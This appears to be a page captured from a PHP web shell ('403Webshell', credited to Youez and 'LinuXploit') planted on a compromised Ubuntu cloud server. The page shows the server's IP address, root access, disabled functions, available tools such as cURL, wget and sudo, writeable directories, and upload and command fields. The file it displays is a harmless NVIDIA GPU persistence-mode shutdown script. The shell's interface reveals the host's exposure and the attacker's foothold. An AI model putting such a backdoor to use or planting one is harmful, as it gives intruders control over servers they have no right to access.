403Webshell
Server IP : 43.129.54.214  /  Your IP : 216.73.217.113
Web Server : nginx/1.24.0
System : Linux VM-4-108-ubuntu 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/local/qcloud/gpu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/qcloud/gpu/nv_gpu_shutdown_pm.sh
#!/bin/bash
##shutdown pm for nvidia gpu

dir=$(cd `dirname $0`;pwd)

#only consumer gpu
is_nv_consumer_gpu_host()
{
    gpu_info=$(lspci -d 10de::000300 | grep NVIDIA)
    if [ ${#gpu_info} -gt 0 ];then
        return 1
    fi  

    return 0
}

is_gpu_driver_installed()
{
    driver_info=$(lsmod | grep nvidia)
    if [ ${#driver_info} -gt 0 ];then
        return 1
    fi  
    
    return 0
}

is_nv_consumer_gpu_host
if [ $? -eq 0 ];then
    echo "not nvidia consumer gpu host. exit"
    exit 0
fi

is_gpu_driver_installed
if [ $? -eq 0 ];then
    echo "gpu driver not installed. exit"
    exit 0
fi

command -v nvidia-smi >/dev/null 2>&1 && { nvidia-smi -pm 0; echo "set Persistence-M off for nvidia gpu driver success";} || { echo "no nvidia-smi command. exit."; exit 1;} 

Youez - 2016 - github.com/yon3zu
LinuXploit